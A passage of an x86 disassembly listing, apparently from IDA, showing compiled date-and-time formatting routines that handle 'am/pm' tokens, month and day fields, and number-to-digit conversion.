		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		cmp	edx, [ebp+var_8]
		jl	short loc_4380FE
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_4380FE:				; CODE XREF: sub_437D10+3BFj
					; sub_437D10+3E3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_438119:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382CDo
		cmp	dword_4F3760, 0
		jz	short loc_438150
		mov	dword_4F3760, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_4384E0
		add	esp, 14h
		jmp	short loc_438172
; ---------------------------------------------------------------------------

loc_438150:				; CODE XREF: sub_437D10+410j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_4384E0
		add	esp, 14h

loc_438172:				; CODE XREF: sub_437D10+43Ej
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_438177:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382A1o
		mov	dword_4F3760, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_4384E0
		add	esp, 14h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_4381A8:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382D1o
		mov	eax, dword_4F3760
		mov	dword_4F3764, eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_438380
		add	esp, 10h
		jmp	loc_438278
; ---------------------------------------------------------------------------

loc_4381DE:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382A5o
		mov	edx, dword_4F3760
		mov	dword_4F3764, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	ecx, eax
		add	ecx, 13h
		imul	ecx, 64h
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		cdq
		mov	esi, 64h
		idiv	esi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_438380
		add	esp, 10h
		jmp	short loc_438278
; ---------------------------------------------------------------------------

loc_43822B:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:004382A9o
		call	sub_433030
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		cmp	dword ptr [edx+20h], 0
		setnz	al
		mov	ecx, off_4545D4[eax*4]
		push	ecx
		call	sub_438330
		add	esp, 0Ch
		jmp	short loc_438278
; ---------------------------------------------------------------------------

loc_438256:				; CODE XREF: sub_437D10+2Cj
					; DATA XREF: .packed:off_43827Do
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	25h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx

loc_438278:				; CODE XREF: sub_437D10+1Bj
					; sub_437D10+2Cj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_437D10	endp

; ---------------------------------------------------------------------------
off_43827D	dd offset loc_438256	; DATA XREF: sub_437D10+2Cr
		dd offset loc_437D65
		dd offset loc_437DAB
		dd offset loc_437EF8
		dd offset loc_437F20
		dd offset loc_437FBF
		dd offset loc_43802B
		dd offset loc_438054
		dd offset loc_438095
		dd offset loc_438177
		dd offset loc_4381DE
		dd offset loc_43822B
		dd offset loc_437D43
		dd offset loc_437D88
		dd offset loc_437DCE
		dd offset loc_437ECE
		dd offset loc_437F65
		dd offset loc_437F92
		dd offset loc_437FE7
		dd offset loc_43806B
		dd offset loc_438119
		dd offset loc_4381A8
		dd offset loc_438278
byte_4382D9	db 0			; DATA XREF: sub_437D10+26r
		dw 1616h
		dd 6 dup(16161616h), 16020116h,	16161616h, 16160403h, 16160516h
		dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
		dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
		dd 0CC0B1514h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438330	proc near		; CODE XREF: sub_437D10+48p
					; sub_437D10+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp

loc_438333:				; CODE XREF: sub_438330+44j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 0
		jz	short loc_438376
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_438376
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	short loc_438333
; ---------------------------------------------------------------------------

loc_438376:				; CODE XREF: sub_438330+9j
					; sub_438330+13j
		pop	ebp
		retn
sub_438330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438380	proc near		; CODE XREF: sub_437D10+1DBp
					; sub_437D10+203p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		cmp	dword_4F3764, 0
		jz	short loc_4383AA
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_438430
		add	esp, 0Ch
		jmp	short loc_438429
; ---------------------------------------------------------------------------

loc_4383AA:				; CODE XREF: sub_438380+12j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [eax]
		jnb	short loc_438420
		mov	edx, [ebp+arg_4]
		sub	edx, 1
		mov	[ebp+arg_4], edx
		jmp	short loc_4383C8
; ---------------------------------------------------------------------------

loc_4383BF:				; CODE XREF: sub_438380+82j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax

loc_4383C8:				; CODE XREF: sub_438380+3Dj
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		test	ecx, ecx
		jz	short loc_438404
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	eax, [ebp+arg_4]
		mov	[ecx+eax], dl
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_4383BF
; ---------------------------------------------------------------------------

loc_438404:				; CODE XREF: sub_438380+50j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	short loc_438429
; ---------------------------------------------------------------------------

loc_438420:				; CODE XREF: sub_438380+32j
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 0

loc_438429:				; CODE XREF: sub_438380+28j
					; sub_438380+9Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_438380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438430	proc near		; CODE XREF: sub_438380+20p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		jbe	short loc_43848B

loc_438446:				; CODE XREF: sub_438430+59j
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jle	short loc_43848B
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx], 1
		ja	short loc_438446

loc_43848B:				; CODE XREF: sub_438430+14j
					; sub_438430+51j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx

loc_4384A4:				; CODE XREF: sub_438430+A6j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ebp+var_C], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jb	short loc_4384A4
		mov	esp, ebp
		pop	ebp
		retn
sub_438430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4384E0	proc near		; CODE XREF: sub_437D10+EBp
					; sub_437D10+13Cp ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h

loc_4384E6:				; CODE XREF: sub_4384E0+2EAj
					; sub_4384E0:loc_4388ABj ...
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_43895C
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_43895C
		mov	[ebp+var_8], 0
		mov	dword_4F3764, 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_438526
; ---------------------------------------------------------------------------

loc_43851D:				; CODE XREF: sub_4384E0+5Fj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx

loc_438526:				; CODE XREF: sub_4384E0+3Bj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		cmp	eax, edx
		jnz	short loc_438541
		jmp	short loc_43851D
; ---------------------------------------------------------------------------

loc_438541:				; CODE XREF: sub_4384E0+5Dj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 27h
		mov	[ebp+var_14], edx
		cmp	[ebp+var_14], 52h
		ja	loc_4388B0
		mov	ecx, [ebp+var_14]
		xor	eax, eax
		mov	al, byte_43898C[ecx]
		jmp	off_438960[eax*4]

loc_438578:				; DATA XREF: .packed:0043896Co
		mov	edx, [ebp+var_C]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		sub	eax, 1
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 3
		ja	short loc_4385B1
		mov	ecx, [ebp+var_18]
		jmp	off_4389DF[ecx*4]

loc_438597:				; DATA XREF: .packed:off_4389DFo
		mov	dword_4F3764, 1

loc_4385A1:				; CODE XREF: sub_4384E0+B0j
					; DATA XREF: .packed:004389E3o
		mov	[ebp+var_8], 6Dh
		jmp	short loc_4385B1
; ---------------------------------------------------------------------------

loc_4385A7:				; CODE XREF: sub_4384E0+B0j
					; DATA XREF: .packed:004389E7o
		mov	[ebp+var_8], 62h
		jmp	short loc_4385B1
; ---------------------------------------------------------------------------

loc_4385AD:				; CODE XREF: sub_4384E0+B0j
					; DATA XREF: .packed:004389EBo
		mov	[ebp+var_8], 42h

loc_4385B1:				; CODE XREF: sub_4384E0+ABj
					; sub_4384E0+C5j ...
		jmp	loc_4388B0
; ---------------------------------------------------------------------------

loc_4385B6:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:00438970o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 3
		ja	short loc_4385EF
		mov	ecx, [ebp+var_1C]
		jmp	off_4389EF[ecx*4]

loc_4385D5:				; CODE XREF: sub_4384E0+B0j
					; DATA XREF: .packed:off_4389EFo
		mov	dword_4F3764, 1

loc_4385DF:				; CODE XREF: sub_4384E0+B0j
					; sub_4384E0+EEj
		mov	[ebp+var_8], 64h
		jmp	short loc_4385EF
; ---------------------------------------------------------------------------

loc_4385E5:				; CODE XREF: sub_4384E0+B0j
					; sub_4384E0+EEj
		mov	[ebp+var_8], 61h
		jmp	short loc_4385EF
; ---------------------------------------------------------------------------

loc_4385EB:				; CODE XREF: sub_4384E0+B0j
					; sub_4384E0+EEj
		mov	[ebp+var_8], 41h

loc_4385EF:				; CODE XREF: sub_4384E0+E9j
					; sub_4384E0+103j ...
		jmp	loc_4388B0
; ---------------------------------------------------------------------------

loc_4385F4:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:00438984o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 2
		jz	short loc_438608
		cmp	[ebp+var_20], 4
		jz	short loc_43860E
		jmp	short loc_438612
; ---------------------------------------------------------------------------

loc_438608:				; CODE XREF: sub_4384E0+11Ej
		mov	[ebp+var_8], 79h
		jmp	short loc_438612
; ---------------------------------------------------------------------------

loc_43860E:				; CODE XREF: sub_4384E0+124j
		mov	[ebp+var_8], 59h

loc_438612:				; CODE XREF: sub_4384E0+126j
					; sub_4384E0+12Cj
		jmp	loc_4388B0
; ---------------------------------------------------------------------------

loc_438617:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:00438974o
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 1
		jz	short loc_43862B
		cmp	[ebp+var_24], 2
		jz	short loc_438635
		jmp	short loc_438639
; ---------------------------------------------------------------------------

loc_43862B:				; CODE XREF: sub_4384E0+141j
		mov	dword_4F3764, 1

loc_438635:				; CODE XREF: sub_4384E0+147j
		mov	[ebp+var_8], 49h

loc_438639:				; CODE XREF: sub_4384E0+149j
		jmp	loc_4388B0
; ---------------------------------------------------------------------------

loc_43863E:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:00438968o
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 1
		jz	short loc_438652
		cmp	[ebp+var_28], 2
		jz	short loc_43865C
		jmp	short loc_438660
; ---------------------------------------------------------------------------

loc_438652:				; CODE XREF: sub_4384E0+168j
		mov	dword_4F3764, 1

loc_43865C:				; CODE XREF: sub_4384E0+16Ej
		mov	[ebp+var_8], 48h

loc_438660:				; CODE XREF: sub_4384E0+170j
		jmp	loc_4388B0
; ---------------------------------------------------------------------------

loc_438665:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:00438978o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_2C], edx
		cmp	[ebp+var_2C], 1
		jz	short loc_438679
		cmp	[ebp+var_2C], 2
		jz	short loc_438683
		jmp	short loc_438687
; ---------------------------------------------------------------------------

loc_438679:				; CODE XREF: sub_4384E0+18Fj
		mov	dword_4F3764, 1

loc_438683:				; CODE XREF: sub_4384E0+195j
		mov	[ebp+var_8], 4Dh

loc_438687:				; CODE XREF: sub_4384E0+197j
		jmp	loc_4388B0
; ---------------------------------------------------------------------------

loc_43868C:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:0043897Co
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 1
		jz	short loc_4386A0
		cmp	[ebp+var_30], 2
		jz	short loc_4386AA
		jmp	short loc_4386AE
; ---------------------------------------------------------------------------

loc_4386A0:				; CODE XREF: sub_4384E0+1B6j
		mov	dword_4F3764, 1

loc_4386AA:				; CODE XREF: sub_4384E0+1BCj
		mov	[ebp+var_8], 53h

loc_4386AE:				; CODE XREF: sub_4384E0+1BEj
		jmp	loc_4388B0
; ---------------------------------------------------------------------------

loc_4386B3:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:00438964o
		push	offset aAmPm	; "am/pm"
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_420F10
		add	esp, 8
		test	eax, eax
		jnz	short loc_4386D3
		mov	edx, [ebp+arg_0]
		add	edx, 5
		mov	[ebp+var_4], edx
		jmp	short loc_4386F1
; ---------------------------------------------------------------------------

loc_4386D3:				; CODE XREF: sub_4384E0+1E6j
		push	offset aAP	; "a/p"
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_420F10
		add	esp, 8
		test	eax, eax
		jnz	short loc_4386F1
		mov	ecx, [ebp+arg_0]
		add	ecx, 3
		mov	[ebp+var_4], ecx

loc_4386F1:				; CODE XREF: sub_4384E0+1F1j
					; sub_4384E0+206j
		mov	[ebp+var_8], 70h
		jmp	loc_4388B0
; ---------------------------------------------------------------------------

loc_4386FA:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:00438980o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_438711
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+98h]
		mov	[ebp+var_10], ecx
		jmp	short loc_43871D
; ---------------------------------------------------------------------------

loc_438711:				; CODE XREF: sub_4384E0+221j
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+9Ch]
		mov	[ebp+var_10], eax

loc_43871D:				; CODE XREF: sub_4384E0+22Fj
					; sub_4384E0+2DFj
		cmp	[ebp+var_C], 0
		jle	loc_4387C4
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jbe	loc_4387C4
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_438787
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_438787
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx

loc_438787:				; CODE XREF: sub_4384E0+26Ej
					; sub_4384E0+276j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_43871D
; ---------------------------------------------------------------------------

loc_4387C4:				; CODE XREF: sub_4384E0+241j
					; sub_4384E0+24Dj
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	loc_4384E6
; ---------------------------------------------------------------------------

loc_4387CF:				; CODE XREF: sub_4384E0+91j
					; DATA XREF: .packed:off_438960o
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_4388A2
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	[ebp+arg_0], edx

loc_4387E6:				; CODE XREF: sub_4384E0+3BBj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_4388A0
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_4388A0
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 27h
		jnz	short loc_438819
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	loc_4388A0
; ---------------------------------------------------------------------------

loc_438819:				; CODE XREF: sub_4384E0+329j
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_43886C
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 1
		jbe	short loc_43886C
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx

loc_43886C:				; CODE XREF: sub_4384E0+353j
					; sub_4384E0+35Bj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	loc_4387E6
; ---------------------------------------------------------------------------

loc_4388A0:				; CODE XREF: sub_4384E0+30Ej
					; sub_4384E0+31Aj ...
		jmp	short loc_4388AB
; ---------------------------------------------------------------------------

loc_4388A2:				; CODE XREF: sub_4384E0+2F7j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		mov	[ebp+arg_0], eax

loc_4388AB:				; CODE XREF: sub_4384E0:loc_4388A0j
		jmp	loc_4384E6
; ---------------------------------------------------------------------------

loc_4388B0:				; CODE XREF: sub_4384E0+80j
					; sub_4384E0+91j ...
		movsx	ecx, [ebp+var_8]
		test	ecx, ecx
		jz	short loc_4388DC
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	al, [ebp+var_8]
		push	eax
		call	sub_437D10
		add	esp, 14h
		mov	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		jmp	short loc_438957
; ---------------------------------------------------------------------------

loc_4388DC:				; CODE XREF: sub_4384E0+3D6j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_438928
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax

loc_438928:				; CODE XREF: sub_4384E0+417j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx

loc_438957:				; CODE XREF: sub_4384E0+3FAj
		jmp	loc_4384E6
; ---------------------------------------------------------------------------

loc_43895C:				; CODE XREF: sub_4384E0+Ej
					; sub_4384E0+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4384E0	endp

; ---------------------------------------------------------------------------
off_438960	dd offset loc_4387CF	; DATA XREF: sub_4384E0+91r
		dd offset loc_4386B3
		dd offset loc_43863E
		dd offset loc_438578
		dd offset loc_4385B6
		dd offset loc_438617
		dd offset loc_438665
		dd offset loc_43868C
		dd offset loc_4386FA
		dd offset loc_4385F4
		dd offset loc_4388B0
byte_43898C	db 0			; DATA XREF: sub_4384E0+8Br
		db 3 dup(0Ah)
		dd 5 dup(0A0A0A0Ah), 0A010A0Ah,	0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah
		dd 4 dup(0A0A0A0Ah), 0A010A0Ah,	0A0A040Ah, 0A0A050Ah, 0A060A0Ah
		dd 0A0A0A0Ah, 0A0A0807h
		db 2 dup(0Ah), 9
off_4389DF	dd offset loc_438597	; DATA XREF: sub_4384E0+B0r
		dd offset loc_4385A1
		dd offset loc_4385A7
		dd offset loc_4385AD
off_4389EF	dd offset loc_4385D5	; DATA XREF: sub_4384E0+EEr
; ---------------------------------------------------------------------------
		fild	word ptr [ebp-7A1AFFBDh]
		inc	ebx
		add	bl, ch
		test	[ebx+0], eax
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438A00	proc near		; CODE XREF: sub_433A50+41p
					; sub_433A50+60p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		cmp	[ebp+arg_0], 1
		jnz	loc_438B69
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_90], eax
